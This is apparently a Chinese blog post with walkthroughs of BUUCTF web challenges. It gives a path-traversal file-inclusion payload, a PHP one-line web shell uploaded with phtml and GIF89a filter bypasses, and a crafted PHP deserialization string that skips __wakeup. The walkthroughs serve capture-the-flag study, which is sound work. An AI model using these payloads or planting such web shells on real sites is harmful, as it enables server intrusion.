码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • BUUCTF中的web


    目录

    [HCTF 2018]WarmUp 1

    解题过程:

    1.先查看页面的源代码,发现有source.php文件

    2.访问这个php文件,发现是解读这个php代码

    3. 在代码中看到hint.php文件,访问来看看

    4.很明显的文件包含,现在来构造payload:url+?file=hint.php?../../../../../ffffllllaaaagggg,使用../不停的返回上一级来查看,file参数可能用于告诉服务器要加载或处理哪个文件

    [极客大挑战 2019]Upload 1

    解题过程:

    1.先上传一个一句话木马的php文件,提示“Not image!”

    2.于是通过抓包,来修改文件类型,但是提示不能上传php文件,过滤了php

    3.所以继续修改shell.php的后缀名,改为phtml,报错提示文件包含

    4.使用另一个一句话木马,例如:

    ​编辑 5.发现还是报错,加上GIF89a(习惯在文件前加上GIF89a来绕过PHP getimagesize的检测),注意要空一格,发现上传成功

    6. 使用蚁剑连接,找到flag

    [ACTF2020 新生赛]Upload 1

    [极客大挑战 2019]PHP 1

    1.观察页面,发现有备份网站这几个字,想到之前的刷的题,先用disearch扫描

    2.扫描完之后发现有zip文件

    3.访问这个文件,下载了一个压缩包,发现里面有很多文件

    4. 通过打开class.php以及index.php可得,考察php的反序列化

    5.得到flag


    [HCTF 2018]WarmUp 1

    解题过程:

    1.先查看页面的源代码,发现有source.php文件

    2.访问这个php文件,发现是解读这个php代码

    1. ​
    2. 代码的解读:
    3. 1.class emmm{ }:class定义了一个类,一个名为 emmm 的类,这个类包含了一个静态方法 checkFile()。
    4. 2.public static function:公共静态函数,静态函数最大的好处就是类不经过实例化就可以直接使用,但它不能访问类的非静态变量和非静态函数。
    5. 3.文件检查:利用checkFile() 来检查传入的 $page 参数是否在 whitelist 白名单中。白名单包含两个元素:"source" 和 "hint",分别对应 "source.php" 和 "hint.php" 文件。
    6. 使用isset函数来检查,如果 $page 不存在或不是字符串,函数将输出 "you can't see it" 并返回 false。
    7. 使用in_array() 函数搜索数组中是否存在指定的值,如果 $page 在白名单中,函数返回 true
    8. 否则,函数将尝试对 $page 进行处理,移除查询字符串(如果存在)并检查处理后的结果是否在白名单中。这个过程重复了两次,一次是对原始 $page 进行处理,另一次是对经过 urldecode() 解码后的 $page 进行处理。
    9. 4.mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。返回要查找的字符串在别一个字符串中首次出现的位置。例如:
    10. mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
    11. 注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
    12. 总的来说这个cehckFile这个函数进行了 3次白名单检测、 2次?过滤、一次URL解码
    13. 5.文件包含:如果 $_REQUEST['file'] 存在、是字符串,并且通过了 emmm::checkFile() 的检查,则使用 include 语句包含该文件,并终止脚本执行。如果 $_REQUEST['file'] 不存在、不是字符串,或者未通过 emmm::checkFile() 的检查,脚本将输出一个图片链接,而不是包含请求的文件。
    14. 6.include $_REQUEST['file']:这一行存在安全风险,因为它允许用户通过 URL 参数指定要包含的文件。
    15. ​

    综上所述:这道题就是代码审计与文件包含

    3. 在代码中看到hint.php文件,访问来看看

    4.很明显的文件包含,现在来构造payload:url+?file=hint.php?../../../../../ffffllllaaaagggg,使用../不停的返回上一级来查看,file参数可能用于告诉服务器要加载或处理哪个文件

    [极客大挑战 2019]Upload 1

    解题过程:

    1.先上传一个一句话木马的php文件,提示“Not image!”

    2.于是通过抓包,来修改文件类型,但是提示不能上传php文件,过滤了php

    3.所以继续修改shell.php的后缀名,改为phtml,报错提示文件包含

    4.使用另一个一句话木马,例如:
    <script language="php">eval($_POST['shell']);</script>
    
     5.发现还是报错,加上GIF89a(习惯在文件前加上GIF89a来绕过PHP getimagesize的检测),注意要空一格,发现上传成功

    6. 使用蚁剑连接,找到flag

    [ACTF2020 新生赛]Upload 1

    1.先上传一个一句话木马的php文件,提示可以上传的文件类型

    2.上传一个图片文件,抓包之后,修改文件后缀名

    3.上传成功,用蚁剑连接,找到flag

    [极客大挑战 2019]PHP 1

    1.观察页面,发现有备份网站这几个字,想到之前的刷的题,先用disearch扫描

    2.扫描完之后发现有zip文件

    3.访问这个文件,下载了一个压缩包,发现里面有很多文件

    4. 通过打开class.php以及index.php可得,考察php的反序列化

    里面加载了一个class.php文件,然后采用get传递一个select参数,随后将之反序列化

    class.php里面涉及php魔法方法

    __construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化;

    __wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作

    __destruct 是析构函数,作用与 __construct 正好相反,析构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被⾃动调⽤。析构函数允许我们在销毁⼀个对象之前执⾏⼀些特定的操作,例如关闭⽂件、释放结果集等。

    根据class.php代码,我们发现要想获取flag,只需username=admin password=100然后我们再执行__destruct()时可以获得flag

    于是构造反序列化:

    1. class Name{
    2. private $username = 'nonono';
    3. private $password = 'yesyes';
    4. public function __construct($username,$password){
    5. $this->username = $username;
    6. $this->password = $password;
    7. }
    8. }
    9. $a = new Name('admin',100);
    10. var_dump(serialize($a))
    11. ?>

    然后保存,运行,获得序列化的字符串:

    O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

    在index.php中发现参数为select,于是我们将参数值给select,但是在反序列化的时候会首先执行__wakeup()魔法方法,这个方法会把我们的username重新赋值在反序列化时,所以我们用当前属性个数大于实际属性个数时,就会跳过__wakeup(),即把Name后面的数字2该为大于2的数字,于是我们这样构造payload:

    ?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

    接着我们发现,username和password为private声明的变量。因为username和password是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要加上%00因此私有字段的字段名在序列化的时候,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度

    于是再次构造payload:

    ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    5.得到flag

     

  • 相关阅读:
    PHP将pdf转为图片后用OCR识别
    dubbo原理深入剖析
    国赛高教杯使用python/matlab必会算法数学建模-回归分析模块(课程6)
    OCPP1.6协议
    会话跟踪技术(Cookie和Session)
    论坛网站全栈项目Vue3+Python+Flask+MySQL+Redis
    无需训练、APP可玩,商品、车辆、菜品20+场景一键识别
    JavaScript——关于JavaScript、在HTML中嵌入JS代码的三种方式、变量
    Alibaba架构师内部最新发布SpringCloud开发手册,Github限时开源
    C++构造函数
  • 原文地址:https://blog.csdn.net/2401_82388450/article/details/138082596
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号